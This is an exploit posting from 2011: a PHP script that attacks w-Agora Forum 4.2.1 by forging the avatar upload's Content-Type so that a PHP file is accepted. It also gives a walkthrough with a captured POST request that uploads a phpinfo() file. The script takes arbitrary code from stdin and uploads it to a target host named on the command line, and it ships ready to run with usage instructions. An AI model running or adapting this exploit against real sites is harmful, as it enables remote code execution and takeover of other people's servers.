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w-Agora Forum 4.2.1 Shell Upload

Posted on 30 May 2011

<?php
/*
Title .......................: w-Agora Forum 4.2.1 Remote File Upload Exploit
Site ........................: http://www.w-agora.com/en/download.php
Version .....................:  4.2.1


Author ......................: Treasure Priyamal
Site ........................: http://treasuresec.com
E-mail ......................: treasure[at]treasuresec.com

Discription
===========
w-Agora avatar upload option has content file detect option , but it can be replace with simply editing
POST Request from your browser

Here is a dump from Temp-Data I editied while im upload the File. Just simply replacing the Content-Type
you will be able to upload your script


6:28:18.073[118ms][total 3862ms] Status: 200[OK]
POST http://localhost/w-agora/browse_avatar.php Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Content Size[-1] Mime Type[text/html]
Request Headers:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,/*;q=0.8]
Accept-Language[en-us,en;q=0.5]
Accept-Encoding[gzip, deflate]
Accept-Charset[ISO-8859-1,utf-8;q=0.7,*;q=0.7]
Keep-Alive[115]
Connection[keep-alive]
Referer[http://localhost/w-agora/browse_avatar.php?site=localhost]
Cookie[wa_lang=en; WAS_localhost_test=LastVisit%3D1306715684%26ThisVisit%3D1306715918%26visited%3D1306672722%2B; WAP_localhost_test=Visits%3D1%26LastVisit%3D1306715684; localhost_test_sort=newest; WAP_localhost_auth=lastVisit%3D1306715682%26uid%3Dtest%26pw%3D098f6bcd4621d373cade4e832627b4f6; localhost_auth=lastVisit%3D1306715998%26uid%3Dtest%26pw%3D098f6bcd4621d373cade4e832627b4f6]
Post Data:
POST_DATA[-----------------------------76401208715012
Content-Disposition: form-data; name="site"

localhost
-----------------------------76401208715012
Content-Disposition: form-data; name="submitted"

true
-----------------------------76401208715012
Content-Disposition: form-data; name="perpage"

20
-----------------------------76401208715012
Content-Disposition: form-data; name="first"

0
-----------------------------76401208715012
Content-Disposition: form-data; name="avatar"; filename="echo.php"
Content-Type: image/jpeg\n
<?php phpinfo(); ?>

-----------------------------76401208715012
Content-Disposition: form-data; name="submit"

Copy file
-----------------------------76401208715012--
]
Response Headers:
Date[Mon, 30 May 2011 00:58:18 GMT]
Server[Apache/2.2.11 (Win32) PHP/5.3.0]
X-Powered-By[PHP/5.3.0]
Keep-Alive[timeout=5, max=100]
Connection[Keep-Alive]
Transfer-Encoding[chunked]
Content-Type[text/html]




*/

if(count($argv) == 5)
{
echo "

";
echo "+---------------------------------------------------------------+
";
echo "|        w-Agora Forum 4.2.1 Remote File Upload Exploit	       |
";
echo "|         		  Treasure Security						       |
";
echo "|                 by Treasure Priyamal					       |
";
echo "|        Usage: php exploit.php site.com /path/ user pass        |
";
echo "+---------------------------------------------------------------+
";
echo "
";

echo "Code to write in the file (ie. <?php phpinfo(); ?>) :

";
$code     =   trim(fgets(STDIN));

$socket   =   @fsockopen($argv[1], 80, $eno, $estr, 30);
if(!$socket)
{
die("Could not connect to ".$argv[1].". Operation aborted.");
}

$part1      =   "POST http://192.168.1.101/w-agora/browse_avatar.php?site=localhost HTTP/1.1
";
$part1     .=   "Host: " . $argv[1] . "
";
$part1     .=   "User-Agent : Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
";
$part1     .=   "Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
";
$part1     .=   "Connection: keep-alive
";
$part1     .=   "Accept-Language : en-us,en;q=0.5
";
$part1     .=   "Referer :localhost/w-agora/browse_avatar.php?site=localhost
";
$part1     .=   "Cookie : wa_lang=en
";


$part1     .=   "Content-Type : multipart/form-data; boundary=---------------------------14695017222113685839218008876
";
$part2      =   "-----------------------------14695017222113685839218008876
";
$part2     .=   "Content-Disposition: form-data; name="site"
";
$part2     .=   "localhost
";
$part2     .=   "-----------------------------14695017222113685839218008876
";
$part2     .=   "Content-Disposition: form-data; name="submitted"
";
$part2     .=   "true
";
$part2     .=   "-----------------------------14695017222113685839218008876
";
$part2     .=   "Content-Disposition: form-data; name="perpage"
";
$part2     .=   "20
";
$part2     .=   "-----------------------------14695017222113685839218008876
";
$part2     .=   "Content-Disposition: form-data; name="first"
";
$part2     .=   "0
";
$part2     .=   "-----------------------------14695017222113685839218008876
";
$part2     .=   "Content-Disposition: form-data; name="avatar"; filename="file.php"
";
$part2     .=   "Content-Type: image/gif
";	// this is where the magic happens
$part2     .=   $code."
";
$part2     .=   "-----------------------------14695017222113685839218008876
";
$part2     .=   "Content-Disposition: form-data; name="Submit"
";
$part2     .=   "Copy file
";
$part2     .=   "-----------------------------14695017222113685839218008876
";

$part1     .=   "Content-Length: " . strlen($part2) . "

";
$part1     .=   $part2;


fwrite($socket, $part1);


echo "check the upload folder";

}
else
{
echo "

";
echo "+---------------------------------------------------------------+
";
echo "|        w-Agora Forum 4.2.1 Remote File Upload Exploit	      |
";
echo "|         		  Treasure Security						       |
";
echo "|        by Treasure Priyamal								       |
";
echo "+---------------------------------------------------------------+
";
echo "|        Usage: php exploit.php site.com /path/ user pass       |
";
echo "+---------------------------------------------------------------+
";
echo "

";
}
?>

 

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